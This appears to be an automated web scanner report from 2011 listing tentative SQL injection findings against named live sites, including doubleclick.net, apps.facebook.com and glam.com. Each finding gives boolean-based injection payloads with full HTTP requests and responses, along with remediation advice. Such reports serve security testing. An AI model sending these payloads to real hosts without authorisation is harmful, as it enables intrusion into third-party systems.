There are 101 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://66.226.75.109/areaCodes/detail/240/x22 [REST URL parameter 3]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://66.226.75.109
Path:   /areaCodes/detail/240/x22

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 13723193'%20or%201%3d1--%20 and 13723193'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /areaCodes/detail/24013723193'%20or%201%3d1--%20/x22 HTTP/1.1
Host: 66.226.75.109
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 01:55:34 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: CAKEPHP=39ea39c674725d9221bbee4fe97dda81; expires=Sat, 05-Mar-2011 01:55:34 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/html

Request 2

GET /areaCodes/detail/24013723193'%20or%201%3d2--%20/x22 HTTP/1.1
Host: 66.226.75.109
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 01:55:37 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: CAKEPHP=3bade22272a7c93a5e2962bdbb3a2ea9; expires=Sat, 05-Mar-2011 01:55:37 GMT; path=/
Connection: close
Content-Type: text/html
Content-Length: 269109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <title>
       Area Code Reverse Phone Number Lookup Directory    </title>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
           <meta name="description" content="" />
   
       <meta name="keywords" content="" />
<meta name="google-site-verification" content="afpHkQIVmSx9pgSQJgF5xq30gPlFTEcIwuCscxYxOZ4" />
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
   <link rel="stylesheet" type="text/css" href="/css/general_css.css" />
<link rel="stylesheet" type="text/css" href="/css/frontend_style.css" />
   <script type="text/javascript" src="/js/checkphonenumber.js"></script>
</head>
<body>

   <div id="container">
       <div id="header">
           <div id="logo">
<a href="/phones/"><img src="/img/logo.gif" border="0" alt="LOGO_AlT_TEXT" /></a></div>
<form method="post" cellspacing="5px" action="http://66.226.75.109/phones/search" onsubmit="return validatePhoneNumber('header_search')" name="phoneSearch" id="phoneSearch">

<table cellpadding="0px" cellspacing="0px" border="0">
   <tr>                
       <td><img src="/img/callwiki_divider.gif" alt="" /></td><td class="header_nav_normal" width="400px"></td><td class="header_nav_normal" width="170px"></td>    


       <td class="header_nav_normal" align="right" >
           Report Call:            <input type='text' name='search' size='30' id='header_search' value="xxx-xxx-xxxx" onfocus="this.value=''">
       </td>
       <td>
           <input type="image" src="http://66.226.75.109/img/callwiki_search_button.gif" >
       </td>
       
</tr>
</table>
</form>        </div>
       <div id="content">
           <table width="100%" cellpadding="0px" cellspacing="0px" border="0px">
               <tr>
                   <td width="622px" valign="top">

                       
                       <script type="text/javascript">
   function showMap(url)
   {
       
       var h = screen.height / 2;
       var w = screen.width / 2;
       var left = 200;
       var top =
...[SNIP]...

1.2. http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ad.doubleclick.net
Path:   /adj/N5295.Internet.com/B5200652.4

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0%3Bc=203687989,203687989%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=;ord=123456?&1%20and%201%3d1--%20=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response 1

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 26 Feb 2011 01:47:56 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 425

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aba/14/74/%2a/n;235494180;0-0;0;59174699;3454-728/90;38963607/38981364/1;;~sscs=%3fhttp://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0%3Bc=203687989,203687989%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=http://goo.gl/7z7I2"><img src="http://s0.2mdn.net/viewad/1977183/Google_Standard_3MillionM2_728x90_gif_0.gif" border=0 alt="Advertisement"></a>');

Request 2

GET /adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0%3Bc=203687989,203687989%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=;ord=123456?&1%20and%201%3d2--%20=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response 2

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 26 Feb 2011 01:47:57 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5668

document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Wed Feb 09 14:21:37 EST 2011 -->\r\n<script src=\"http://s0.2mdn.net/879366/flashwrite_1_2.js\"><\/script>');document.write('\r\n');

function DCFlash(id,pVM){
var swf = "http://s0.2mdn.net/1977183/Google_Flash_Smb2_YourCompany_728x90_swf_1.swf";
var gif = "http://s0.2mdn.net/1977183/1-Google_Standard_3MillionM1_728x90_jpg_0.jpg";
var minV = 9;
var FWH = ' width="728" height="90" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3aba/17/74/%2a/m%3B235494180%3B4-0%3B0%3B59174699%3B3454-728/90%3B40671406/40689193/1%3B%3B%7Esscs%3D%3fhttp://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0%3Bc=203687989,203687989%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=http://goo.gl/7z7I2");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var openWindow = "false";
var winW = 0;
var winH = 0;
var winL = 0;
var winT = 0;

var moviePath=swf.substring(0,swf.lastIndexOf("/"));
var sm=new Array();


var defaultCtVal = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3aba/17/74/%2a/m%3B235494180%3B4-0%3B0%3B59174699%3B3454-728/90%3B40671406/40689193/1%3B%3B%7Esscs%3D%3fhttp://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0%3Bc=203687989,203687989%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=http://goo.gl/7z7I2");
var ctp=new Array();
var ctv=new Array();
ctp[0] = "clickTAG";
ctv[0] = "";


var fv='"moviePath='+moviePath+'/'+'&moviepath='+moviePath+'/';
for(i=1;i<sm.length;i++){if(sm[i]!=""){fv+="&submovie"+i+"="+escape(sm[i]);}}
for(var ctIndex = 0; ctIndex < ctp.length; ctIndex++) {
var ctParam = ctp[ctIndex];
var ctVal = ctv[ctIndex];
if(ctVal != null && typeof(ctVal) == 'string') {
if(ctVal == "") {
ctVal = defaultCtVal;
}
else {
ctVal = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3aba/17/74/%2a/m%3B235494180%3B4-0%3B0%3B59174699%3
...[SNIP]...

1.3. http://apps.facebook.com/espnucollegetown/ [Referer HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://apps.facebook.com
Path:   /espnucollegetown/

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the Referer HTTP header. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /espnucollegetown/ HTTP/1.1
Host: apps.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q='%20and%201%3d1--%20

Response 1 (redirected)

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
Set-Cookie: datr=VV5oTas0hG1hzk6eclVNNMGO; expires=Mon, 25-Feb-2013 01:58:45 GMT; path=/; domain=.facebook.com; httponly
Set-Cookie: lsd=6ZNx4; path=/; domain=.facebook.com
Set-Cookie: noscript=1; path=/; domain=.facebook.com
Set-Cookie: reg_ext_ref=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26q%3D%27%2520and%25201%253d1--%2520; path=/; domain=.facebook.com
Set-Cookie: reg_fb_gate=http%3A%2F%2Fapps.facebook.com%2Fespnucollegetown%2F; path=/; domain=.facebook.com
Set-Cookie: reg_fb_ref=http%3A%2F%2Fapps.facebook.com%2Fespnucollegetown%2F; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
X-Powered-By: HPHP
X-FB-Server: 10.136.232.121
Connection: close
Date: Sat, 26 Feb 2011 01:58:45 GMT
Content-Length: 15004

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/v1/yp/r/w9JRqVD1zD4.css" />
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/v1/y3/r/7nBWlZwWW4T.css" />
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/v1/yW/r/hoCpkGtbecC.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yJ/r/H-QCy9V-sYx.css" />

<script type="text/javascript" src="http://static.ak.fbcdn.net/rsrc.php/v1/y0/r/NKjhTtmUUOU.js"></script>

<link rel="search" type="application/opensearchdescription+xml" href="http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="http://photos-g.ak.fbcdn.net/photos-ak-snc1/v27562/115/135858749758063/app_2_135858749758063_4184.gif" /></head>
<body class="frame_wide withCanvasNav withCanvasNavAndBorder fbframe UIPage_LoggedOut ie7 win Locale_en_US">
<div id="FB_HiddenContainer" style="position:absolute; top:-10000px; width:0px; height:0px;" ></div><div id="blueBar" class="loggedOut"></div><div id="globalContainer"><div class="loggedout_menubar_container"><div class="clearfix loggedout_menubar"><a class="lfloat" href="/" title="Go to Facebook Home"><img class="fb_logo img" src="http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png" alt="Facebook logo" width="170" height="36" /></a><div class="rfloat"><div class="menu_login_container"><form method="POST" action="https://www.facebook.com/login.php?login_attempt=1" id="login_form" onsubmit="return Event.__inlineSubmit(this,event)"><input type="hidden" name="charset_test" value="&euro;,&acute;,...,..,...,..,.." /><input type="hidden" name="lsd" value="6ZNx4" autocomplete="off" /><input type="hidden" id="locale" name="locale" value="en_US" autocomplete="off" /><table cellspacing="0"><tr><td class="html7magic"><label for="email">Email</label></td><td class="html7magic"><label for="pass">Password</label></td></tr><tr><td><input type="text" class="inputtext" name=
...[SNIP]...

Request 2

GET /espnucollegetown/ HTTP/1.1
Host: apps.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q='%20and%201%3d2--%20

Response 2 (redirected)

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
Set-Cookie: datr=VV5oTREtGMO_ZeNqeekqhs5j; expires=Mon, 25-Feb-2013 01:58:45 GMT; path=/; domain=.facebook.com; httponly
Set-Cookie: lsd=O5uSJ; path=/; domain=.facebook.com
Set-Cookie: noscript=1; path=/; domain=.facebook.com
Set-Cookie: reg_ext_ref=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26q%3D%27%2520and%25201%253d2--%2520; path=/; domain=.facebook.com
Set-Cookie: reg_fb_gate=http%3A%2F%2Fapps.facebook.com%2Fespnucollegetown%2F; path=/; domain=.facebook.com
Set-Cookie: reg_fb_ref=http%3A%2F%2Fapps.facebook.com%2Fespnucollegetown%2F; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
X-Powered-By: HPHP
X-FB-Server: 10.136.226.110
Connection: close
Date: Sat, 26 Feb 2011 01:58:45 GMT
Content-Length: 15014

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://c.static.ak.fbcdn.net/rsrc.php/v1/yP/r/O16vqhmuvDM.css" />
<link type="text/css" rel="stylesheet" href="http://e.static.ak.fbcdn.net/rsrc.php/v1/y0/r/MHFanA-LgzE.css" />
<link type="text/css" rel="stylesheet" href="http://d.static.ak.fbcdn.net/rsrc.php/v1/yu/r/Nc9YFhpO9gr.css" />
<link type="text/css" rel="stylesheet" href="http://static.ak.fbcdn.net/rsrc.php/v1/yR/r/9kK0ZfKYr2f.css" />

<script type="text/javascript" src="http://f.static.ak.fbcdn.net/rsrc.php/v1/ys/r/8PwJealNjXM.js"></script>

<link rel="search" type="application/opensearchdescription+xml" href="http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" />
<link rel="shortcut icon" href="http://photos-g.ak.fbcdn.net/photos-ak-snc1/v27562/115/135858749758063/app_2_135858749758063_4184.gif" /></head>
<body class="frame_wide withCanvasNav withCanvasNavAndBorder fbframe UIPage_LoggedOut ie7 win Locale_en_US">
<div id="FB_HiddenContainer" style="position:absolute; top:-10000px; width:0px; height:0px;" ></div><div id="blueBar" class="loggedOut"></div><div id="globalContainer"><div class="loggedout_menubar_container"><div class="clearfix loggedout_menubar"><a class="lfloat" href="/" title="Go to Facebook Home"><img class="fb_logo img" src="http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/kk8dc2UJYJ4.png" alt="Facebook logo" width="170" height="36" /></a><div class="rfloat"><div class="menu_login_container"><form method="POST" action="https://www.facebook.com/login.php?login_attempt=1" id="login_form" onsubmit="return Event.__inlineSubmit(this,event)"><input type="hidden" name="charset_test" value="&euro;,&acute;,...,..,...,..,.." /><input type="hidden" name="lsd" value="O5uSJ" autocomplete="off" /><input type="hidden" id="locale" name="locale" value="en_US" autocomplete="off" /><table cellspacing="0"><tr><td class="html7magic"><label for="email">Email</label></td><td class="html7magic"><label for="pass">Password</label></td></tr><tr><td><input type="text" class="inputtext" nam
...[SNIP]...

1.4. http://beauty.glam.com/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://beauty.glam.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 25749560'%20or%201%3d1--%20 and 25749560'%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /?125749560'%20or%201%3d1--%20=1 HTTP/1.1
Host: beauty.glam.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 1 (redirected)

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
X-Pingback: http://www.glam.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
backend-server: app135
Content-Length: 69597
X-Varnish: 303283410
Expires: Thu, 21 Apr 2011 01:37:54 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:37:54 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script type="text/javascript" src="http://glamnewlive.disqus.com/remote_auth.js?remote_auth_s2=W10%3D+2ce1df918227ff63661b67e8d5b65034f32c8fd0+1303349872"></script> <!-- Netica Monitoring --><!-- DBOK -->
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
<script type="text/javascript">_uacct = "UA-2024191-1"; _udn="glam.com"; try { urchinTracker(); } catch(err){} </script>
<!-- Start Quantcast tag -->
<script type="text/javascript"> _qoptions={ qacct:"p-874AVp33Bbtkg" };</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>

<!-- End Quantcast tag -->
</head>
<body class="archive category category-beauty" id="bodyID"><!-- Container START -->
   <noscript><img src="http://pixel.quantserve.com/pixel/p-874AVp33Bbtkg.gif" class="hide" border="0" height="1" width="1" alt="Quantcast"/></noscript>
<div align="center" class="Container"><!-- Page START -->
<div class="topCorner"></div>
<div class="Box">
<table width="100%" cellpadding="0" cellspacing="0" border="0" class="Page">
<tr><td><div class="HorizantalSpacer"></div>
<div class="Header">
<a href="http://www.glam.com" class="Logo sprite_v1-glamcom_206_36"></a>
<div class="LoginLinks" align="right">
                                       <script type="text/javascript" language="javascript"> function setCookieforLogin(c_name,value,expiredays){ if(expiredays){ var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires=exdate.toGMTString(); } else var expires=""; document.cookie=c_name+ "=" +escape(value)+((expiredays==null) ? "" : ";expires="+expires)+";domain=.glam.com"; }
                                       function logoutFunction(redirectURL){ setCookieforLogin('logedIncheck','',-1); location.href=redirectURL; }if(!getCookie('logedIncheck')){ document.write('<div onclick="toggleSignIn(\'head\');" id="signInArrowImg"><div id="signInArrowUp">&nbsp;</div><div id="signInArrowDown">&nbsp;</d
...[SNIP]...

Request 2

GET /?125749560'%20or%201%3d2--%20=1 HTTP/1.1
Host: beauty.glam.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 2 (redirected)

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
X-Pingback: http://www.glam.com/xmlrpc.php
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
backend-server: app135
Content-Length: 69474
X-Varnish: 303283776
Expires: Thu, 21 Apr 2011 01:37:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:37:58 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script type="text/javascript" src="http://glamnewlive.disqus.com/remote_auth.js?remote_auth_s2=W10%3D+33d9edb89bbe22f82a2a84a0014c753cd0775aa7+1303349877"></script> <!-- Netica Monitoring --><!-- DBOK -->
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
<script type="text/javascript">_uacct = "UA-2024191-1"; _udn="glam.com"; try { urchinTracker(); } catch(err){} </script>
<!-- Start Quantcast tag -->
<script type="text/javascript"> _qoptions={ qacct:"p-874AVp33Bbtkg" };</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>

<!-- End Quantcast tag -->
</head>
<body class="archive category category-beauty" id="bodyID"><!-- Container START -->
   <noscript><img src="http://pixel.quantserve.com/pixel/p-874AVp33Bbtkg.gif" class="hide" border="0" height="1" width="1" alt="Quantcast"/></noscript>
<div align="center" class="Container"><!-- Page START -->
<div class="topCorner"></div>
<div class="Box">
<table width="100%" cellpadding="0" cellspacing="0" border="0" class="Page">
<tr><td><div class="HorizantalSpacer"></div>
<div class="Header">
<a href="http://www.glam.com" class="Logo sprite_v1-glamcom_206_36"></a>
<div class="LoginLinks" align="right">
                                       <script type="text/javascript" language="javascript"> function setCookieforLogin(c_name,value,expiredays){ if(expiredays){ var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires=exdate.toGMTString(); } else var expires=""; document.cookie=c_name+ "=" +escape(value)+((expiredays==null) ? "" : ";expires="+expires)+";domain=.glam.com"; }
                                       function logoutFunction(redirectURL){ setCookieforLogin('logedIncheck','',-1); location.href=redirectURL; }if(!getCookie('logedIncheck')){ document.write('<div onclick="toggleSignIn(\'head\');" id="signInArrowImg"><div id="signInArrowUp">&nbsp;</div><div id="signInArrowDown">&nbsp;</d
...[SNIP]...

1.5. http://beauty.glam.com/wp-content/plugins/menus-plus/javascriptmenu.php [menu parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://beauty.glam.com
Path:   /wp-content/plugins/menus-plus/javascriptmenu.php

Issue detail

The menu parameter appears to be vulnerable to SQL injection attacks. The payloads 18548129%20or%201%3d1--%20 and 18548129%20or%201%3d2--%20 were each submitted in the menu parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /wp-content/plugins/menus-plus/javascriptmenu.php?menu=118548129%20or%201%3d1--%20 HTTP/1.1
Host: beauty.glam.com
Proxy-Connection: keep-alive
Referer: http://beauty.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 1

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-channel: menuplus
Last-Modified: Wed, 20 Apr 2011 18:36:40 GMT
Vary: Accept-Encoding
Content-Type: application/x-javascript
backend-server: app135
Content-Length: 20937
X-Varnish: 303280805
Expires: Thu, 21 Apr 2011 01:36:44 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:36:44 GMT
Connection: close

var string =" <div id='Nav' class='sprite_v1-default-navBar-bg-img'><ul class='topnav'><li class='cufonClass'><a href='http://www.glam.com' title='' onmouseover='showSubMenu(0)'>Home</a><li class='LineSeperator sprite_v1-seperator'></li><li class='cufonClass'><a href='http://www.glam.com' title='' onmouseover='showSubMenu(0)'>Home</a><li class='LineSeperator sprite_v1-seperator'></li><li class='cufonClass'><a href='http://fashion.glam.com/' title='Fashion' onmouseover='showSubMenu(4)' onmouseout='hideSubMenu();'>Fashion</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://trends.glam.com/' title='Trends' onmouseover='showSubMenu(5)' onmouseout='hideSubMenu();'>Trends</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://runway.glam.com/' title='Runway' onmouseover='showSubMenu(6)' onmouseout='hideSubMenu();'>Runway</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://designers.glam.com/' title='Designers' onmouseover='showSubMenu(7)' onmouseout='hideSubMenu();'>Designers</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://shopping.glam.com/' title='Shopping' onmouseover='showSubMenu(8)' onmouseout='hideSubMenu();'>Shopping</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://beauty.glam.com/' title='Beauty' style='color:white' onmouseover='showSubMenu(9)' onmouseout='hideSubMenu();' >Beauty</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li 